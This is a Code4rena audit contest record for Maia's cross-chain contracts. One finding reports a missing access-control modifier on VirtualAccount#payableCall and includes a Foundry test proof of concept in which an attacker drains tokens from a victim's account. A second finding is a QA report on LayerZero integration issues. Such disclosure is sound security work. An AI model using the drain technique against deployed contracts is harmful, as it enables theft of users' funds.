Platform: Code4rena
Start Date: 22/09/2023
Pot Size: $100,000 USDC
Total HM: 15
Participants: 175
Period: 14 days
Judge: alcueca
Total Solo HM: 4
Id: 287
League: ETH
Rank: 91/175
Findings: 2
Award: $25.79
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0xTheC0der
Also found by: 0x180db, 0xDING99YA, 0xRstStn, 0xTiwa, 0xWaitress, 0xblackskull, 0xfuje, 3docSec, Aamir, Black_Box_DD, HChang26, Hama, Inspecktor, John_Femi, Jorgect, Kek, KingNFT, Kow, Limbooo, MIQUINHO, MrPotatoMagic, NoTechBG, Noro, Pessimistic, QiuhaoLi, SovaSlava, SpicyMeatball, T1MOH, TangYuanShen, Vagner, Viktor_Cortess, Yanchuan, _eperezok, alexweb3, alexxander, ast3ros, ayden, bin2chen, blutorque, btk, ciphermarco, ether_sky, gumgumzum, gztttt, hals, imare, its_basu, joaovwfreire, josephdara, klau5, kodyvim, ladboy233, marqymarq10, mert_eren, minhtrng, n1punp, nobody2018, oada, orion, peakbolt, peritoflores, perseverancesuccess, pfapostol, rvierdiiev, stuxy, tank, unsafesol, ustas, windhustler, zambody, zzzitron
0.1127 USDC - $0.11
Lack of requiresApprovedCaller modifier in VirtualAccount#payableCall enables anyone to take over a virtual account and steal funds or carry out any other malicious actions.
Virtual Accounts in Maia are available so that users can use Arbitrum dApps from any other branch chain. The EOAs which own the virtual accounts can either perform calls from the virtual account from other branches using Ulysses contracts or they can directly call VirtualAccount#call or VirtualAccount#payableCall functions on Arbitrum.
There is a requiresApprovedCaller modifier on VirtualAccount which prevents any caller other than the owner or router approved from calling a function. This modifier is present on VirtualAccount#call but not on VirtualAccount#payableCall. This enforces anyone to use payableCall() and drain funds or do any other action from the virtual account.
This function can be added to ArbitrumBranchTest.t.sol and run using forge test
to demonstrate this vulnerability:
function testExploitPayableVirtual(address _victim, address _attacker) public { _victim = address(11); _attacker = address(12); testAddLocalTokenArbitrum(); address newVirtualAccount = address(rootPort.fetchVirtualAccount(_victim)); VirtualAccount victimAccount = VirtualAccount(payable(newVirtualAccount)); hevm.deal(_victim, 100 ether); hevm.prank(_victim); arbitrumNativeToken.mint(_victim, 100 ether ); hevm.prank(_victim); arbitrumNativeToken.transfer(newVirtualAccount, 100 ether); Call[] memory callPrev = new Call[](1); //Approves tokens to the port callPrev[0] = Call({target: address(arbitrumNativeToken), callData: abi.encodeWithSelector(arbitrumNativeToken.approve.selector,address(localPortAddress), 100 ether)}); hevm.prank(_victim); victimAccount.call(callPrev); Call[] memory calls = new Call[](1); //Depositing to port from virtual account, as account owner (victim) using depositToPort() function calls[0] = Call({target: address(arbitrumCoreBridgeAgent), callData: abi.encodeWithSelector(bytes4(0xd717b087),address(arbitrumNativeToken),1 ether) }); hevm.prank(_victim); victimAccount.call(calls); MockERC20 arbitrumAssetGlobal = MockERC20(newArbitrumAssetGlobalAddress); //balance of attacker must be equal to 0 uint256 balanceBefore = arbitrumNativeToken.balanceOf(_attacker); //Balance must be 0 before the fund drain assert(balanceBefore == 0); //Pranking as attacker address hevm.prank(_attacker); PayableCall[] memory callsX = new PayableCall[](2); callsX[0] = PayableCall({target: address(arbitrumCoreBridgeAgent), callData: abi.encodeWithSelector(arbitrumCoreBridgeAgent.withdrawFromPort.selector,address(newArbitrumAssetGlobalAddress), 1 ether), value: 0 ether}); callsX[1] = PayableCall({target: address(arbitrumNativeToken), callData: abi.encodeWithSelector(arbitrumNativeToken.transfer.selector,_attacker, 0.5 ether), value: 0 ether}); victimAccount.payableCall(callsX); uint256 balanceAfter = arbitrumNativeToken.balanceOf(_attacker); //balance of attacker should have been increased by now assert(balanceAfter>0); console2.log("Balance before: ",balanceBefore); console2.log("Balance after: ",balanceAfter); }
Here, the attacker calls VirtualAccount#payableCall, withdraws tokens from port and sends them to the attacker address.
Manual Review
Add the requiresApprovedCaller modifier to the VirtualAccount#payableCall function.
Access Control
#0 - c4-pre-sort
2023-10-08T14:04:27Z
0xA5DF marked the issue as duplicate of #888
#1 - c4-pre-sort
2023-10-08T14:37:28Z
0xA5DF marked the issue as sufficient quality report
#2 - c4-pre-sort
2023-10-08T14:37:38Z
0xA5DF marked the issue as high quality report
#3 - c4-pre-sort
2023-10-08T14:49:30Z
0xA5DF marked the issue as sufficient quality report
#4 - c4-judge
2023-10-26T11:29:20Z
alcueca marked the issue as satisfactory
🌟 Selected for report: MrPotatoMagic
Also found by: 0xAadi, 0xDING99YA, 0xDemon, 0xRstStn, 0xSmartContract, 0xStriker, 0xWaitress, 0xbrett8571, 0xfuje, 0xsagetony, 0xsurena, 33BYTEZZZ, 3docSec, 7ashraf, ABA, ABAIKUNANBAEV, Aamir, Audinarey, Bauchibred, Black_Box_DD, Daniel526, DanielArmstrong, DanielTan_MetaTrust, Dinesh11G, Eurovickk, Franklin, Inspecktor, John, Jorgect, Joshuajee, K42, Kek, Koolex, LokiThe5th, MIQUINHO, Myd, NoTechBG, QiuhaoLi, SanketKogekar, Sathish9098, Sentry, Soul22, SovaSlava, Stormreckson, Tendency, Topmark, Udsen, V1235816, Viktor_Cortess, Viraz, Yanchuan, ZdravkoHr, Zims, albahaca, albertwh1te, alexweb3, alexxander, ast3ros, audityourcontracts, bareli, bin2chen, bronze_pickaxe, c0pp3rscr3w3r, cartlex_, castle_chain, chaduke, debo, ether_sky, gumgumzum, imare, its_basu, jaraxxus, jasonxiale, josephdara, kodyvim, ladboy233, lanrebayode77, lsaudit, mert_eren, minhtrng, n1punp, nadin, niroh, nmirchev8, orion, peakbolt, perseverancesuccess, pfapostol, ptsanev, rvierdiiev, saneryee, shaflow2, te_aut, terrancrypt, twcctop, unsafesol, ustas, versiyonbir, windhustler, yongskiws, zhaojie, ziyou-
25.6785 USDC - $25.68
The layerzero send function is used to send messages to another chain. One of the parameters passed is the zroPaymentAddress. It is advised in the layerzero integration checklist document that this must not be hardcoded to 0 and must be passed as a parameter instead. The impact due to this is that since these contracts are immutable, users would not be able to use the zroPaymentAddress even if they wanted to.
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L823-L830 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L915-L922 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L940-L947 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L770-L777 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L787-L794
https://layerzero.gitbook.io/docs/evm-guides/layerzero-integration-checklist
Pass zroPaymentAddress as a parameter
The layerzer estimateFees function is used to estimate how much fee it might take to send a particular payload through a particular path subject to certain parameters. It is advised in the layerzero integration checklist document that the useZro boolean must not be hardcoded to false while calling this function. However, it is hardcoded in the bridge agents. The impact due to this is that if fee options for the ZRO token in layerzero changes in the future, users might not be able to pay using ZRO for crosschain calls, even if they wanted to unless the contracts are upgraded.
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L166-L172 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L146-L152
https://layerzero.gitbook.io/docs/evm-guides/layerzero-integration-checklist
Do not hardcode useZro to false. Instead, pass it as a parameter.
In all bridge agents, the chain IDs are hardcoded. However, in the layerzero integration checklist, it is recommended that there be a onlyAdmin function to set the chain IDs.
Both BranchBridgeAgent and RootBridgeAgent contracts have this issue.
https://layerzero.gitbook.io/docs/evm-guides/layerzero-integration-checklist
Have onlyAdmin functions to change chain IDs later on.
Layerzero has airdrop caps for each chain. This must be checked in the Relayer.sol contract onchain so that the passed value does not cross the cap. However, this is not being done. The impact is that some messages may fail.
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L776 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L776
https://layerzero.gitbook.io/docs/evm-guides/advanced/relayer-adapter-parameters#airdrop
Check if the value sent is higher than the airdrop cap on the destination chain onchain via the Relayer.sol contract.
In RootPort, chain IDs are given the type of address and some addresses are assigned as uint256. The affected SLOCs are these:
/// @notice ChainId -> Local Address -> Global Address mapping(address chainId => mapping(uint256 localAddress => address globalAddress)) public getGlobalTokenFromLocal; /// @notice ChainId -> Global Address -> Local Address mapping(address chainId => mapping(uint256 globalAddress => address localAddress)) public getLocalTokenFromGlobal; /// @notice ChainId -> Underlying Address -> Local Address mapping(address chainId => mapping(uint256 underlyingAddress => address localAddress)) public getLocalTokenFromUnderlying; /// @notice Mapping from Local Address to Underlying Address. mapping(address chainId => mapping(uint256 localAddress => address underlyingAddress)) public getUnderlyingTokenFromLocal;
As we can see, chain IDs and localAddress, globalAddress, and underlyingAddress variables are given the wrong types.
https://github.com/code-423n4/2023-09-maia/blob/main/src/RootPort.sol#L88C1-L102C1
Change the types to correct ones.
There are wrong comments at some SLOC:
The variable is coreRootBridgeAgentAddress, but the comment is written as the core router:
https://github.com/code-423n4/2023-09-maia/blob/main/src/RootPort.sol#L42
Here, the approval is given to _bridgeAgentAddress
, but the comment written is that approval is given to root port:
https://github.com/code-423n4/2023-09-maia/blob/main/src/MulticallRootRouter.sol#L520
Change comments
#0 - c4-pre-sort
2023-10-15T12:07:09Z
0xA5DF marked the issue as sufficient quality report
#1 - c4-judge
2023-10-20T13:35:20Z
alcueca marked the issue as grade-a
#2 - c4-judge
2023-10-27T10:45:12Z
alcueca marked the issue as selected for report
#3 - alcueca
2023-10-28T06:04:37Z
I selected this QA report as the best because it was manually generated, went to check the LayerZero docs, and contained few errors.
In NC-5 is not the types that are wrong, but the natspec.
#4 - c4-judge
2023-11-03T12:56:34Z
alcueca marked the issue as not selected for report